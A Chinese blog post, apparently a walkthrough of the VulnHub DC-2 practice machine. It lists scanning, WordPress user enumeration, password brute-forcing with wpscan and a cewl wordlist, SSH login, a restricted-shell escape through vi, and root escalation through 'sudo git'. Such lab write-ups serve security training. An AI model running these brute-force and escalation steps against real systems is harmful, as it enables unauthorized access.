当前位置:网站首页>【Try to Hack】vulnhub DC2
【Try to Hack】vulnhub DC2
2022-06-29 14:08:00 【开心星人】
博客主页:开心星人的博客主页
系列专栏:Try to Hack
欢迎关注点赞收藏️留言
首发时间:2022年6月29日
作者水平很有限,如果发现错误,还望告知,感谢!
靶机知识点:
1、hosts文件
2、dirb扫目录
3、wpscan枚举用户名
4、cewl爬取密码
5、ssh服务登录
6、rbash逃逸
7、git提权

首先是桥接模式
要注意的是这个靶场不是静态IP,那个192.168.0.145只是个示例,告诉我们如何设置hosts文件的
照常下载靶机,它默认就是桥接模式了
不需要改动
kali攻击机也设置桥接模式(我是这样弄的)
netdiscover进行主机发现
因为靶机不是桥接模式,和我们的kali可能不在同一个网段arp-scan -l也只能扫描和kali在同一网段的主机
这个是我们的靶机,因为VMare,Inc
端口扫描namp -sV -p- 192.168.0.131
80端口开放,访问192.168.0.131
这样的结果
根据刚开始题目的描述,去设置一下hostsvim /etc/hosts

访问成功
提示我们使用cewlwhatweb 192.168.0.131
是wordpress
dirb http://192.168.0.131
目录扫描
http://192.168.0.131/wp-admin/
可能是后台,访问一下
确实是,需要账号和密码
现在我们使用cewl吧
爬取网站内容,生成字典
cewl dc-2 > dc-2.txt
这是密码字典
我们使用wpscan获得用户名wpscan --url http://dc-2 -e u

保存为user.txt
wpscan --url http://dc-2 --usernames user.txt --passwords dc-2.txt
用bp也可以
登录jerry,简单找一下

提示我们不能利用wordpress的漏洞

以为在这可以写shell的
用两个账号密码登录ssh
ssh -p 7744 [email protected]192.168.0.131
ssh -p 7744 [email protected]192.168.0.131

登录进去了,也发现flag3了
但是读文件的命令被ban了
看下可以使用哪些命令
echo $PATH
echo /home/tom/usr/bin/*

vi flag3.txt
看到了flag
看wp明白,让我们用tom用户切换到jerry
需要使用su

rbash逃逸
rbash与一般shell的区别在于会限制一些行为,让一些命令无法执行。
【渗透测试】— rbash逃逸方法简述
在vi的:中可以将/bin/bash复制给shellvi
输入::set shell=/bin/sh
再输入::shell
得到shell了
切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

成功了
找一下flag
提示git
git提权
方法一
sudo git help config
!/bin/bash 或 !‘sh’
方法二
sudo git -p help
!/bin/bash

边栏推荐
- Turbulent intermediary business, restless renters
- goby如何导出扫描结果
- 微信小程序:全新独家云开发微群人脉
- Wechat applet: Yunkai publishes white wall wechat applet source code download server free and domain name support traffic main revenue
- 一位博士在华为的22年
- 强大、优秀的文件管理软件评测:图片管理、书籍管理、文献管理
- Unity SplashImage 缩放问题
- Wechat applet: new and exclusive cloud development wechat group contacts
- 利用多态实现简单的计算器
- 微信小程序:万圣节头像框生成工具
猜你喜欢
![[use of veux developer tools - use of getters]](/img/85/7a8d0f9d0c86eb3963db280da70049.png)
[use of veux developer tools - use of getters]

你还在用命令看日志?快用 Kibana 吧,一张图胜过千万行日志

Dynamics 365Online Lookup查找字段多选

Stable currency risk profile: are usdt and usdc safe?

【blackduck】jenkins下配置指定的synopsys-detect扫描版本
![[important notice] the 2022 series of awards and recommendations of China graphics society were launched](/img/ae/2fe0cf9964e5fd3b18e5f295638d8b.png)
[important notice] the 2022 series of awards and recommendations of China graphics society were launched

【VEUX开发者工具的使用-getters使用】

微信小程序:全新獨家雲開發微群人脈

浅析 Istio——可观测性

Installation and removal of cover for CPU protection on desktop motherboard
随机推荐
Redis master-slave replication principle
【重要通知】中国图象图形学学会2022年度系列奖励推荐工作启动
电脑时间校对后不自动更新要如何解决
Methods of accessing external services in istio grid
《canvas》之第11章 canvas状态
分布式唯一 ID 生成方案浅谈
单端口RAM实现FIFO
喜迎市科协“十大”•致敬科技工作者 | 卢毅:守护电网传输安全的探索者
Shell——文本处理命令
《canvas》之第10章 canvas路径
浅析 Istio——可观测性
[network bandwidth] Mbps & Mbps
台式机主板上保护cpu的盖子安装和拆卸
[Jenkins] pipeline controls the sequential execution of multiple jobs for timed continuous integration
微信小程序:大红喜庆版UI猜灯谜又叫猜字谜
精品商城拼团秒杀优惠折扣全功能完美双端自适应对接个人免签网站源码
3d立体相册,情人节,情侣生日礼物代码适用
【置顶】博客使用须知,公告板,留言板,关于博主
Underlying implementation principle of five data structures of redis
Redis主从复制原理